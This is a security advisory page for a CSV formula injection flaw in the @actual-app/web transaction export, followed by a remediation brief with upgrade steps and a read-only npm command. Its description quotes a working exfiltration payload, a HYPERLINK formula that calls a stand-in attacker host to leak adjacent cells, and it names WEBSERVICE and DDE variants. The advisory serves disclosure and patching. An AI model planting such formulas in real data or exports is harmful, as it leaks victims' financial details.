Skip to content
Patch Next
Sign inAdd to your agent

← Actionable
Medium, CVSS 4.2amended

@actual-app/web has CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields

CVE-2026-50179GHSA-xqjm-27pc-rvwm

What to do

Vendor fix available. Upgrade each affected package to the fixed version on its release line (@actual-app/web 26.6.0), redeploy, then verify what is actually installed.

This page has no inventory attached, so it cannot say whether you are affected. A vendor fix is not proof that your deployment is fixed.

Add to your agent

Affected packages

Sources

Severity and exploitation
Exploitation
No confirmed exploitation recorded. Patch Next marks exploitation only from CISA KEV.
CVSS
4.2 · CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
EPSS
  • CVE-2026-50179: 0.29% estimated exploitation activity in the next 30 days; percentile 21.19 (FIRST EPSS, 2026-11-03). This is a model estimate, not proof of exploitation or customer exposure.
Source description

As published by the source; long descriptions are shortened.

Summary exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with =, +, -, @, tab, or carriage return survive verbatim into the exported CSV. When the victim (or anyone they share the export with) opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas. =HYPERLINK("http://attacker/?leak="&B2,"Bank refund") is the most reliable variant: it renders as a clickable link with benign text and exfiltrates adjacent cells (transaction amount, account name, payee, balance) on click, with no security prompt in modern Excel/Sheets. =WEBSERVICE/=IMPORTXML provide auto-firing exfil in some configurations; legacy DDE may achieve RCE on older Excel. Details Sink — packages/loot-core/src/server/transactions/export/export-to-csv.ts:56: and the same…

Dates and revisions
Published by the source
Last modified by the source
Source last checked
  1. Revision 2 · amended ·

    Amended from ghsa record GHSA-xqjm-27pc-rvwm

  2. Revision 1 · created ·

    Published from osv record GHSA-xqjm-27pc-rvwm

Agent brief

Preview the exact text before you copy it. Commands are read-only suggestions; review them before running anything.

# Patch Next advisory brief: CVE-2026-50179

Advisory: @actual-app/web has CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields
IDs: CVE-2026-50179, GHSA-xqjm-27pc-rvwm
Record: https://patchnext.com/advisories/cve-2026-50179 (revision 2, source checked 26 Oct 2026, 12:56 UTC)
Inventory: none attached. This brief comes from a public page and does not say whether any deployment is affected.
Severity: Medium (CVSS 4.2)
Exploitation: no confirmed exploitation recorded. Patch Next confirms exploitation only from CISA KEV.
Vendor response: Vendor fix available; fixed versions by package: @actual-app/web 26.6.0. A vendor fix does not mean a deployment is fixed.

## Affected components
- npm @actual-app/web: affected < 26.6.0; fixed in 26.6.0

## Suggested inspection (read-only)
- `npm ls @actual-app/web --all`: lists every installed copy and version, including transitive ones. Run in the project root after `npm ci`.

## Supported action
Upgrade each affected component to a fixed version on its release line. For a transitive dependency, upgrade the parent package or add an override or constraint, then regenerate the lockfile. Redeploy every environment that ran an affected version.

## Required regression checks
- Run the test suite and a production build.
- Exercise the features that depend on @actual-app/web.
- Repeat the inspection and confirm that only fixed versions remain installed.

## Rollback considerations
- Keep the previous lockfile and deployment artifact. Rolling back reinstates the vulnerable version, so apply any documented mitigation while you fix forward.

## Unresolved questions
- Which deployments run an affected version?
- Exploitation status can change. Check again before lowering the priority.
- Mark the work resolved only after the fixed version is verified in production.

## Sources
- Verified: https://osv.dev/vulnerability/GHSA-xqjm-27pc-rvwm (OSV record GHSA-xqjm-27pc-rvwm lists affected ranges: npm @actual-app/web >=0 <26.6.0 (fixed))
- Verified: https://github.com/advisories/GHSA-xqjm-27pc-rvwm (GitHub-reviewed advisory GHSA-xqjm-27pc-rvwm lists affected ranges: npm @actual-app/web >=0 <26.6.0)

Commands are suggestions: review each one before running it.

Loading voting…